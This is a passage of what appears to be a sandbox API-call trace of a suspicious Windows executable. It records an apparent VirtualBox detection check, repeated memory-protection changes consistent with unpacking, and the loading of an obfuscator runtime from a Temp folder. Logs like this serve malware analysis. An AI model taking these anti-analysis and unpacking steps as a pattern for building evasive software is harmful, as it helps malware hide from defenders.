lpData=0x71df3ee5*=0x4c, lpcbData=0x71c583f4*=0x200) returned 0x2 [0021.871] RegQueryValueExA (in: hKey=0x238, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x71df3ee5, lpcbData=0x71c583f4*=0x200 | out: lpType=0x0, lpData=0x71df3ee5*=0x4c, lpcbData=0x71c583f4*=0x73) returned 0x0 [0021.871] RegCloseKey (hKey=0x238) returned 0x0 [0021.872] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="HARDWARE\\ACPI\\DSDT\\VBOX__", phkResult=0x71da1f8b | out: phkResult=0x71da1f8b*=0x0) returned 0x2 [0021.908] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0021.909] VirtualProtect (in: lpAddress=0x71c01000, dwSize=0x0, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x6f89823f) returned 0 [0021.909] VirtualProtect (in: lpAddress=0x71c01000, dwSize=0x0, flNewProtect=0x6f89823f, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x6f89823f) returned 0 [0021.909] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0021.909] VirtualAlloc (lpAddress=0x0, dwSize=0x12600, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0021.909] VirtualProtect (in: lpAddress=0x71c11000, dwSize=0x12600, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x20) returned 1 [0022.846] VirtualProtect (in: lpAddress=0x71c11000, dwSize=0x12600, flNewProtect=0x20, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0022.846] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0022.847] VirtualAlloc (lpAddress=0x0, dwSize=0x1800, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0022.847] VirtualProtect (in: lpAddress=0x71c24000, dwSize=0x1800, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x2) returned 1 [0022.848] VirtualProtect (in: lpAddress=0x71c24000, dwSize=0x1800, flNewProtect=0x2, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0022.848] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0022.848] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0022.848] VirtualProtect (in: lpAddress=0x71c26000, dwSize=0x200, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x8) returned 1 [0022.848] VirtualProtect (in: lpAddress=0x71c26000, dwSize=0x200, flNewProtect=0x8, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0022.849] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0022.849] VirtualAlloc (lpAddress=0x0, dwSize=0xe00, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0022.849] VirtualProtect (in: lpAddress=0x71c27000, dwSize=0xe00, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x8) returned 1 [0022.849] VirtualProtect (in: lpAddress=0x71c27000, dwSize=0xe00, flNewProtect=0x8, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0022.850] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0022.850] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0022.850] VirtualProtect (in: lpAddress=0x71c28000, dwSize=0x400, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x8) returned 1 [0022.850] VirtualProtect (in: lpAddress=0x71c28000, dwSize=0x400, flNewProtect=0x8, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0022.850] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0022.851] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0022.851] VirtualProtect (in: lpAddress=0x71c29000, dwSize=0x400, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x2) returned 1 [0022.851] VirtualProtect (in: lpAddress=0x71c29000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0022.851] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0022.851] VirtualAlloc (lpAddress=0x0, dwSize=0xa00, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0022.852] VirtualProtect (in: lpAddress=0x71c2a000, dwSize=0xa00, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x2) returned 1 [0022.880] VirtualProtect (in: lpAddress=0x71c2a000, dwSize=0xa00, flNewProtect=0x2, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0022.880] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0022.880] VirtualProtect (in: lpAddress=0x71c27000, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0022.880] VirtualProtect (in: lpAddress=0x71c272ec, dwSize=0x274, flNewProtect=0x40, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x40) returned 1 [0022.909] VirtualProtect (in: lpAddress=0x71c272ec, dwSize=0x244, flNewProtect=0x40, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x40) returned 1 [0022.984] GetModuleHandleA (lpModuleName="CRYPT32.dll") returned 0x77240000 [0022.984] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x76e60000 [0022.985] GetModuleHandleA (lpModuleName="VERSION.dll") returned 0x75870000 [0022.985] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x76d60000 [0022.985] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x769a0000 [0022.985] VirtualAlloc (lpAddress=0x0, dwSize=0x4eb8, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0023.006] GetProcAddress (hModule=0x77de0000, lpProcName="RtlAllocateHeap") returned 0x77e0e026 [0023.006] GetProcAddress (hModule=0x77de0000, lpProcName="RtlLeaveCriticalSection") returned 0x77e02270 [0023.006] GetProcAddress (hModule=0x77de0000, lpProcName="RtlEnterCriticalSection") returned 0x77e022b0 [0023.006] GetProcAddress (hModule=0x77de0000, lpProcName="RtlInitializeCriticalSection") returned 0x77e12c42 [0023.006] GetProcAddress (hModule=0x77de0000, lpProcName="RtlReAllocateHeap") returned 0x77e21f6e [0023.008] GetProcAddress (hModule=0x77de0000, lpProcName="RtlSizeHeap") returned 0x77e13002 [0023.009] VirtualProtect (in: lpAddress=0x71c11000, dwSize=0x12497, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x20) returned 1 [0023.009] VirtualProtect (in: lpAddress=0x71c28000, dwSize=0x361, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0023.010] VirtualProtect (in: lpAddress=0x71c11000, dwSize=0x12497, flNewProtect=0x20, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0023.011] VirtualProtect (in: lpAddress=0x71c28000, dwSize=0x361, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0023.011] VirtualProtect (in: lpAddress=0x71c00000, dwSize=0x1d8, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x2) returned 1 [0023.011] VirtualProtect (in: lpAddress=0x71c00000, dwSize=0x1d8, flNewProtect=0x2, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0023.011] GetProcessHeap () returned 0x510000 [0023.011] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x575af8 [0023.011] GetProcessHeap () returned 0x510000 [0023.012] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x575b10 [0023.012] SetCurrentDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 1 [0023.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Initialize", cchWideChar=11, lpMultiByteStr=0x3ee7c4, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Initialize", lpUsedDefaultChar=0x0) returned 11 [0023.017] GetProcAddress (hModule=0x71c00000, lpProcName="_Initialize") returned 0x71c1142e [0023.026] GetCurrentProcess () returned 0xffffffff [0023.026] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ede7c | out: TokenHandle=0x3ede7c*=0x234) returned 1 [0023.093] CoTaskMemAlloc (cb=0x20c) returned 0x5784d8 [0023.093] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x5784d8 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0023.093] CoTaskMemFree (pv=0x5784d8) [0023.093] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x3ed9e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0023.093] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", nBufferLength=0x105, lpBuffer=0x3ed9d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", lpFilePart=0x0) returned 0x4a [0023.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3eddc0) returned 1 [0023.093] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e"), fInfoLevelId=0x0, lpFileInformation=0x3ede3c | out: lpFileInformation=0x3ede3c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2706a440, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x270905a0, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x270905a0, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0023.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3eddbc) returned 1 [0023.093] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", nBufferLength=0x105, lpBuffer=0x3ed9d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpFilePart=0x0) returned 0x5b [0023.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ede38) returned 1 [0023.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\agiledotnetrt.dll"), fInfoLevelId=0x0, lpFileInformation=0x3edeb4 | out: lpFileInformation=0x3edeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x270905a0, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x270905a0, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x27128b20, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0x218930)) returned 1 [0023.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ede34) returned 1 [0023.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", cchWideChar=91, lpMultiByteStr=0x3ede30, cbMultiByte=93, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpUsedDefaultChar=0x0) returned 91 [0023.094] LoadLibraryA (lpLibFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll") returned 0x71c00000 [0023.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Initialize", cchWideChar=11, lpMultiByteStr=0x3edf6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Initialize", lpUsedDefaultChar=0x0) returned 11 [0023.094] GetProcAddress (hModule=0x71c00000, lpProcName="_Initialize") returned 0x71c1142e [0023.094] VirtualQuery (in: lpAddress=0x71c26594, lpBuffer=0x3ed980, dwLength=0x1c | out: lpBuffer=0x3ed980*(BaseAddress=0x71c26000, AllocationBase=0x71c00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000)) returned 0x1c [0023.094] GetProcessHeap () returned 0x510000 [0023.094] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x559cb0 [0023.094] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x24c [0023.094] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x250 [0023.094] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x254 [0023.094] GetCurrentThreadId () returned 0x8e0 [0023.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x71c1114f, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x3ed9a0 | out: lpThreadId=0x3ed9a0*=0x8d8) returned 0x258 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe4) returned 0x576488 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56f6e8 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56f730 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56f778 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56f7c0 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56f808 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56f850 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56f898 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56f8e0 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56f928 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56f970 [0023.095] GetProcessHeap () returned 0x510000 [0023.095] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56f9b8 [0023.095] GetProcessHeap () returned 0x510000 [0023.096] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56fa00 [0023.096] GetProcessHeap () returned 0x510000 [0023.096] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56fa48 [0023.096] GetProcessHeap () returned 0x510000 [0023.096] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56fa90 [0023.096] GetProcessHeap () returned 0x510000 [0023.096] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575b58 [0023.096] GetCurrentProcess () returned 0xffffffff [0023.096] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x0, cb=0x0, lpcbNeeded=0x3ed41c | out: lphModule=0x0, lpcbNeeded=0x3ed41c) returned 1 [0023.096] GetProcessHeap () returned 0x510000 [0023.096] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x240) returned 0x5784d8 [0023.096] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x5784d8, cb=0x240, lpcbNeeded=0x3ed41c | out: lphModule=0x5784d8, lpcbNeeded=0x3ed41c) returned 1 [0023.096] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x1360000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="gblyrzexggw.exe") returned 0xf [0023.097] lstrcmpiA (lpString1="gblyrzexggw.exe", lpString2="mscorjit.dll") returned -1 [0023.097] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77de0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="ntdll.dll") returned 0x9 [0023.097] lstrcmpiA (lpString1="ntdll.dll", lpString2="mscorjit.dll") returned 1 [0023.097] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75500000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0023.097] lstrcmpiA (lpString1="MSCOREE.DLL", lpString2="mscorjit.dll") returned -1 [0023.097] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x769a0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="KERNEL32.dll") returned 0xc [0023.097] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="mscorjit.dll") returned -1 [0023.097] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77990000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0023.097] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="mscorjit.dll") returned -1 [0023.097] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x771a0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0023.097] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="mscorjit.dll") returned -1 [0023.097] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x776b0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="msvcrt.dll") returned 0xa [0023.097] lstrcmpiA (lpString1="msvcrt.dll", lpString2="mscorjit.dll") returned 1 [0023.097] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x759a0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="sechost.dll") returned 0xb [0023.097] lstrcmpiA (lpString1="sechost.dll", lpString2="mscorjit.dll") returned 1 [0023.098] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76c70000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="RPCRT4.dll") returned 0xa [0023.098] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="mscorjit.dll") returned 1 [0023.098] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75940000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="SspiCli.dll") returned 0xb [0023.098] lstrcmpiA (lpString1="SspiCli.dll", lpString2="mscorjit.dll") returned 1 [0023.098] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75930000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0023.098] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="mscorjit.dll") returned -1 [0023.098] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x753e0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="mscoreei.dll") returned 0xc [0023.098] lstrcmpiA (lpString1="mscoreei.dll", lpString2="mscorjit.dll") returned -1 [0023.098] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77360000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0023.098] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="mscorjit.dll") returned 1 [0023.098] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77800000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="GDI32.dll") returned 0x9 [0023.099] lstrcmpiA (lpString1="GDI32.dll", lpString2="mscorjit.dll") returned -1 [0023.099] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76d60000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="USER32.dll") returned 0xa [0023.099] lstrcmpiA (lpString1="USER32.dll", lpString2="mscorjit.dll") returned 1 [0023.099] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75b70000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="LPK.dll") returned 0x7 [0023.099] lstrcmpiA (lpString1="LPK.dll", lpString2="mscorjit.dll") returned -1 [0023.099] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77760000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="USP10.dll") returned 0x9 [0023.099] lstrcmpiA (lpString1="USP10.dll", lpString2="mscorjit.dll") returned 1 [0023.099] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77030000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="IMM32.DLL") returned 0x9 [0023.099] lstrcmpiA (lpString1="IMM32.DLL", lpString2="mscorjit.dll") returned -1 [0023.099] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x770d0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="MSCTF.dll") returned 0x9 [0023.100] lstrcmpiA (lpString1="MSCTF.dll", lpString2="mscorjit.dll") returned 1 [0023.100] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75870000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="VERSION.dll") returned 0xb [0023.100] lstrcmpiA (lpString1="VERSION.dll", lpString2="mscorjit.dll") returned 1 [0023.100] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74640000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="clr.dll") returned 0x7 [0023.100] lstrcmpiA (lpString1="clr.dll", lpString2="mscorjit.dll") returned -1 [0023.100] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x752e0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0023.100] lstrcmpiA (lpString1="MSVCR120_CLR0400.dll", lpString2="mscorjit.dll") returned 1 [0023.101] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x72b80000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0023.101] lstrcmpiA (lpString1="mscorlib.ni.dll", lpString2="mscorjit.dll") returned 1 [0023.101] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75a10000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="ole32.dll") returned 0x9 [0023.101] lstrcmpiA (lpString1="ole32.dll", lpString2="mscorjit.dll") returned 1 [0023.101] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75460000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="uxtheme.dll") returned 0xb [0023.101] lstrcmpiA (lpString1="uxtheme.dll", lpString2="mscorjit.dll") returned 1 [0023.101] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75260000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="clrjit.dll") returned 0xa [0023.102] lstrcmpiA (lpString1="clrjit.dll", lpString2="mscorjit.dll") returned -1 [0023.102] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76b90000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0023.102] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="mscorjit.dll") returned 1 [0023.102] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75570000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="nlssorting.dll") returned 0xe [0023.103] lstrcmpiA (lpString1="nlssorting.dll", lpString2="mscorjit.dll") returned 1 [0023.103] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x721d0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="System.ni.dll") returned 0xd [0023.103] lstrcmpiA (lpString1="System.ni.dll", lpString2="mscorjit.dll") returned 1 [0023.103] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75230000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="ntmarta.dll") returned 0xb [0023.103] lstrcmpiA (lpString1="ntmarta.dll", lpString2="mscorjit.dll") returned 1 [0023.103] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x759c0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="WLDAP32.dll") returned 0xb [0023.104] lstrcmpiA (lpString1="WLDAP32.dll", lpString2="mscorjit.dll") returned 1 [0023.104] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x71c00000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="AgileDotNetRT.dll") returned 0x11 [0023.104] lstrcmpiA (lpString1="AgileDotNetRT.dll", lpString2="mscorjit.dll") returned -1 [0023.104] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76e60000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="PSAPI.DLL") returned 0x9 [0023.104] lstrcmpiA (lpString1="PSAPI.DLL", lpString2="mscorjit.dll") returned 1 [0023.104] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77240000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="CRYPT32.dll") returned 0xb [0023.105] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="mscorjit.dll") returned -1 [0023.105] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77020000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="MSASN1.dll") returned 0xa [0023.105] lstrcmpiA (lpString1="MSASN1.dll", lpString2="mscorjit.dll") returned -1 [0023.105] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75c10000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="shell32.dll") returned 0xb [0023.105] lstrcmpiA (lpString1="shell32.dll", lpString2="mscorjit.dll") returned 1 [0023.105] GetProcessHeap () returned 0x510000 [0023.105] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5784d8 | out: hHeap=0x510000) returned 1 [0023.105] GetCurrentProcess () returned 0xffffffff [0023.105] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x0, cb=0x0, lpcbNeeded=0x3ed41c | out: lphModule=0x0, lpcbNeeded=0x3ed41c) returned 1 [0023.106] GetProcessHeap () returned 0x510000 [0023.106] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x240) returned 0x5784d8 [0023.106] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x5784d8, cb=0x240, lpcbNeeded=0x3ed41c | out: lphModule=0x5784d8, lpcbNeeded=0x3ed41c) returned 1 [0023.106] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x1360000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="gblyrzexggw.exe") returned 0xf [0023.106] lstrcmpiA (lpString1="gblyrzexggw.exe", lpString2="clrjit.dll") returned 1 [0023.106] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77de0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="ntdll.dll") returned 0x9 [0023.106] lstrcmpiA (lpString1="ntdll.dll", lpString2="clrjit.dll") returned 1 [0023.106] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75500000, lpBaseName=0x3ed018, nSize=0x400 | out: 